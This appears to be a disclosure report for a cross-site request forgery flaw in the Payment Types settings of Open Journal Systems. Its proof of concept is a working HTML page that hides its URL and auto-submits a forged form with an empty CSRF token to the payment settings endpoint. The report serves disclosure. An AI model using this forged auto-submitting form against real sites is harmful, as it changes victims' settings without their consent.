CSRF in Payment Types in pkp/ojs
Reported on
Oct 8th 2023
Description
CSRF in Payment Types
Proof of Concept
1 .Attacker send form fake to user
<html>
<body>
<form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-journal/payments/savePaymentTypes">
<input type="hidden" name="csrfToken" value="" />
<input type="hidden" name="publicationFee" value="3" />
<input type="hidden" name="purchaseIssueFee" value="3" />
<input type="hidden" name="purchaseArticleFee" value="3" />
<input type="hidden" name="restrictOnlyPdf" value="3" />
<input type="hidden" name="membershipFee" value="3" />
<input type="hidden" name="submitFormButton" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2 .User click , edited unwanted payment types
Video Poc
https://drive.google.com/file/d/1jI4bW5BJXGdJ7kICI-K1Kmg5y2EPw7f0/view?usp=sharing
Payload Poc
https://drive.google.com/file/d/16fzxnTrHB4_IdGC1nqot2ovlp4elqq7H/view?usp=sharing
Impact
Traps users from performing unwanted actions
Sorry,I cannot report the same vulnerability more than once. The system doesn't allow that. This leaves me with an approximate choice of vulnerability. I also couldn't find the correct Occurrences link. Hope you understand. Thank.
@admin, this has been filed in the wrong repository; it should be in pkp/ojs rather than pkp/pkp-lib. Can you change the repo? (9407)
